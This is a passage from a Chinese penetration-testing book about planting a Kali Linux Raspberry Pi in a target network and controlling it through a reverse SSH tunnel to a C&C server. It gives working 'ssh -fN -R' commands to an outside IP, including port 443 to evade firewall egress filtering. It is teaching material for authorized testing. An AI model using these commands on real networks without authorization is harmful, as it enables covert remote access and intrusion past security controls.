本节书摘来自异步社区《树莓派渗透测试实战》一书中的第2章,第2.9节,作者[美]Joseph Muniz(约瑟夫 穆尼斯),Aamir Lakhani(阿米尔 拉克哈尼),朱筱丹 译,更多章节内容可以访问云栖社区“异步社区”公众号查看。
2.9 通过SSH做反向Shell
前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。
因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。
在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。
许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。
使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口[6]。
R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。
某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。
本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。
在树莓派的例子里,输入以下命令:
ssh -fN -R 7000:localhost:22 C&C服务器端用户名@C&C服务器IP地址
ssh -fN -R 7000:localhost:22 root@192.168.162.133
上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。
所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:
ssh -fN -R 443:localhost:22 root@192.168.162.133
在C&C服务器端,打开命令行终端,输入以下命令:
ssh root@localhost -p 443
根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。
要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。
这项技术叫反向shell tunneling(命令行通道)。可以选择任意源端口,如53端口,这通常是DNS服务的端口;或者80,这通常是HTTP服务的端口。但请记住,修改端口号并不意味着底层对应的协议也跟着变了。